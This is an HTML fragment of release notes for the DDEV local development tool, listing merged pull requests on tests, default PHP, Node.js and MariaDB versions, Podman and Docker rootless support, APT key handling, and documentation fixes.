<li>test: default key expiration 90 days, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3608140893" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7831" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7831/hovercard" href="https://github.com/ddev/ddev/pull/7831">#7831</a> [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633922863" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7873" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7873/hovercard" href="https://github.com/ddev/ddev/pull/7873">#7873</a></li>
<li>chore(nodejs): Change default nodejs_version for new projects to 24, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606899582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7819" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7819/hovercard" href="https://github.com/ddev/ddev/issues/7819">#7819</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3606952540" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7821" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7821/hovercard" href="https://github.com/ddev/ddev/pull/7821">#7821</a></li>
<li>ci(golangci-lint): add import-shadowing check by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3627089815" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7865" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7865/hovercard" href="https://github.com/ddev/ddev/pull/7865">#7865</a></li>
<li>test: stop project after addon tests that create docker-compose services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3398423333" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7607" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7607/hovercard" href="https://github.com/ddev/ddev/issues/7607">#7607</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623187908" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7858" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7858/hovercard" href="https://github.com/ddev/ddev/pull/7858">#7858</a></li>
<li>docs(fritzbox): Update FritzBox references and point to new blog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3628900206" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7867" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7867/hovercard" href="https://github.com/ddev/ddev/pull/7867">#7867</a></li>
<li>chore: Remove <code>ddev service</code> command, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603680999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7812" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7812/hovercard" href="https://github.com/ddev/ddev/issues/7812">#7812</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3603681630" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7813" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7813/hovercard" href="https://github.com/ddev/ddev/pull/7813">#7813</a></li>
<li>chore(deprecation): remove ddev nvm functionality in v1.25.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607275294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7826" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7826/hovercard" href="https://github.com/ddev/ddev/pull/7826">#7826</a></li>
<li>fix(quickstart): temporarily install Composer from snapshot for 2.9 compatibility by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a></li>
<li>docs(xdebug): Add details on how to repair WSL2 networking by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640543977" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7879" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7879/hovercard" href="https://github.com/ddev/ddev/pull/7879">#7879</a></li>
<li>docs: fix MD060 table column style errors for markdownlint v0.37+ [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643053722" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7882" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7882/hovercard" href="https://github.com/ddev/ddev/pull/7882">#7882</a></li>
<li>test(quickstart): pin Composer to 2.8.12 for Magento 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643114073" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7883" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7883/hovercard" href="https://github.com/ddev/ddev/pull/7883">#7883</a></li>
<li>test(wsl-mirrored): Skip TestGetLocalHTTPResponse on WSL2 mirrored by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3643684702" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7884" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7884/hovercard" href="https://github.com/ddev/ddev/pull/7884">#7884</a></li>
<li>feat: Change default PHP version to 8.4, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634133257" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7874" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7874/hovercard" href="https://github.com/ddev/ddev/issues/7874">#7874</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634135609" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7875" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7875/hovercard" href="https://github.com/ddev/ddev/pull/7875">#7875</a></li>
<li>chore(composer): remove <code>--snapshot</code> workaround, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626977833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7864" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7864/hovercard" href="https://github.com/ddev/ddev/pull/7864">#7864</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646682854" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7887" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7887/hovercard" href="https://github.com/ddev/ddev/pull/7887">#7887</a></li>
<li>test(quickstart): fix Backdrop, FrankenPHP, Grav by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3646670989" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7886" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7886/hovercard" href="https://github.com/ddev/ddev/pull/7886">#7886</a></li>
<li>fix: Add gpgv, configure APT, convert sources to deb822 (except mariadb), update script references, and add audit tests to prevent SHA1 key trust failures in February 2026, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3618938410" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7849" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7849/hovercard" href="https://github.com/ddev/ddev/issues/7849">#7849</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634197394" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7877" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7877/hovercard" href="https://github.com/ddev/ddev/pull/7877">#7877</a></li>
<li>test(windows): make sure we have a  clean install distro by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3655266651" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7891" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7891/hovercard" href="https://github.com/ddev/ddev/pull/7891">#7891</a></li>
<li>docs: stop recommending Stack Overflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658941875" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7895" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7895/hovercard" href="https://github.com/ddev/ddev/pull/7895">#7895</a></li>
<li>test(quickstart): fix frankenphp build by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3652421873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7889" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7889/hovercard" href="https://github.com/ddev/ddev/pull/7889">#7889</a></li>
<li>docs: update TYPO3 link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659715510" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7898" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7898/hovercard" href="https://github.com/ddev/ddev/pull/7898">#7898</a></li>
<li>build(curl): use trixie-backports to install newer curl by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3659620005" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7897" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7897/hovercard" href="https://github.com/ddev/ddev/pull/7897">#7897</a></li>
<li>fix(xdebug): Use a more sophisticated search for windows host ip address on WSL mirrored mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3640686765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7880" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7880/hovercard" href="https://github.com/ddev/ddev/pull/7880">#7880</a></li>
<li>test(typo3): Fix TYPO3 quickstart, failing since TYPO3 v14.0.0 released by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660976030" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7901" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7901/hovercard" href="https://github.com/ddev/ddev/pull/7901">#7901</a></li>
<li>fix: db port should be integer in generated TYPO3 AdditionalConfiguration.php, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658026373" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7892" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7892/hovercard" href="https://github.com/ddev/ddev/issues/7892">#7892</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li>test(quickstart): php8.3 for silverstripe and symfony, disable typo3 v13 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672156537" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7909" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7909/hovercard" href="https://github.com/ddev/ddev/pull/7909">#7909</a></li>
<li>fix(commands): make <code>HostWorkingDir</code> respect <code>WebWorkingDir</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li>build(docker): add more php8.5 packages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3671208529" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7908" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7908/hovercard" href="https://github.com/ddev/ddev/pull/7908">#7908</a></li>
<li>test(add-on): replace redis-commander with redis-insight by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672679420" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7911" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7911/hovercard" href="https://github.com/ddev/ddev/pull/7911">#7911</a></li>
<li>chore(deprecation): update default MariaDB version to 11.8 for new projects, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2760145770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6861" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6861/hovercard" href="https://github.com/ddev/ddev/issues/6861">#6861</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607131104" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7824" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7824/hovercard" href="https://github.com/ddev/ddev/pull/7824">#7824</a></li>
<li>build(mkdocs): bump actions/setup-python from 6.0.0 to 6.1.0, pin click to 8.2.1 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3682052853" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7913" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7913/hovercard" href="https://github.com/ddev/ddev/pull/7913">#7913</a></li>
<li>fix: check for multiple global config dirs on <code>ddev start</code> and improve usage for <code>~/.ddev</code> in the docs, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3374443982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7582" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7582/hovercard" href="https://github.com/ddev/ddev/issues/7582">#7582</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3623239781" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7859" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7859/hovercard" href="https://github.com/ddev/ddev/pull/7859">#7859</a></li>
<li>test(quickstart): remove version pins from Magento 2, Silverstripe, Symfony, TYPO3, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3662754285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7905" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7905/hovercard" href="https://github.com/ddev/ddev/issues/7905">#7905</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3685279997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7914" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7914/hovercard" href="https://github.com/ddev/ddev/pull/7914">#7914</a></li>
<li>fix: remove unnecessary debug output when probing for TYPO3 project type, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654714403" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7890" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7890/hovercard" href="https://github.com/ddev/ddev/issues/7890">#7890</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687124292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7918" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7918/hovercard" href="https://github.com/ddev/ddev/pull/7918">#7918</a></li>
<li>test(windows): stop uninstalling as it leads to intermittent problems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686346053" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7916" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7916/hovercard" href="https://github.com/ddev/ddev/pull/7916">#7916</a></li>
<li>fix: Windows installer refuses to install on wrong architecture, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3318865014" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7524" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7524/hovercard" href="https://github.com/ddev/ddev/issues/7524">#7524</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3660479712" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7900" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7900/hovercard" href="https://github.com/ddev/ddev/issues/7900">#7900</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3672315294" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7910" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7910/hovercard" href="https://github.com/ddev/ddev/pull/7910">#7910</a></li>
<li>feat(pantheon): address Pantheon hosting provider issues, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3533649620" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7730" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7730/hovercard" href="https://github.com/ddev/ddev/issues/7730">#7730</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450001792" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7655" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7655/hovercard" href="https://github.com/ddev/ddev/issues/7655">#7655</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3612620085" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7837" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7837/hovercard" href="https://github.com/ddev/ddev/pull/7837">#7837</a></li>
<li>fix(collation): Use more portable default collations for mysql8.x and mariadb11.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3663530493" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7906" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7906/hovercard" href="https://github.com/ddev/ddev/pull/7906">#7906</a></li>
<li>feat: Warn WSL2 users with project on Windows filesystem, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3651875329" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7888" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7888/hovercard" href="https://github.com/ddev/ddev/issues/7888">#7888</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3686470597" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7917" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7917/hovercard" href="https://github.com/ddev/ddev/pull/7917">#7917</a></li>
<li>fix(diagnose): Remove the hard-coded IP "127.0.0.1" from the DNS check, since it may be incorrect, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633143202" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7871" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7871/hovercard" href="https://github.com/ddev/ddev/issues/7871">#7871</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li>docs: update instructions for maintainers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3698909154" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7924" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7924/hovercard" href="https://github.com/ddev/ddev/pull/7924">#7924</a></li>
<li>chore(debug): Migrate <code>ddev debug</code> statements to <code>ddev utility</code> statements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3699848765" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7925" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7925/hovercard" href="https://github.com/ddev/ddev/pull/7925">#7925</a></li>
<li>fix: Remove obsolete config syntax and commands for v1.25.0, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3607194599" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7825" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7825/hovercard" href="https://github.com/ddev/ddev/issues/7825">#7825</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3687175513" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7919" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7919/hovercard" href="https://github.com/ddev/ddev/pull/7919">#7919</a></li>
<li>build(php): install php8.5-xdebug (amd64/arm64), php7.0-7.3-redis (arm64), php8.5-memcached (amd64) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3707067166" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7928" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7928/hovercard" href="https://github.com/ddev/ddev/pull/7928">#7928</a></li>
<li>feat: add Podman rootless/rootful and Docker rootless support, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="623451687" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2276" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2276/hovercard" href="https://github.com/ddev/ddev/issues/2276">#2276</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="842390678" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2899" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/2899/hovercard" href="https://github.com/ddev/ddev/issues/2899">#2899</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3492748614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7702" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7702/hovercard" href="https://github.com/ddev/ddev/pull/7702">#7702</a></li>
<li>docs: Fix link to globalsign safenet drivers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3713142680" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7932" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7932/hovercard" href="https://github.com/ddev/ddev/pull/7932">#7932</a></li>
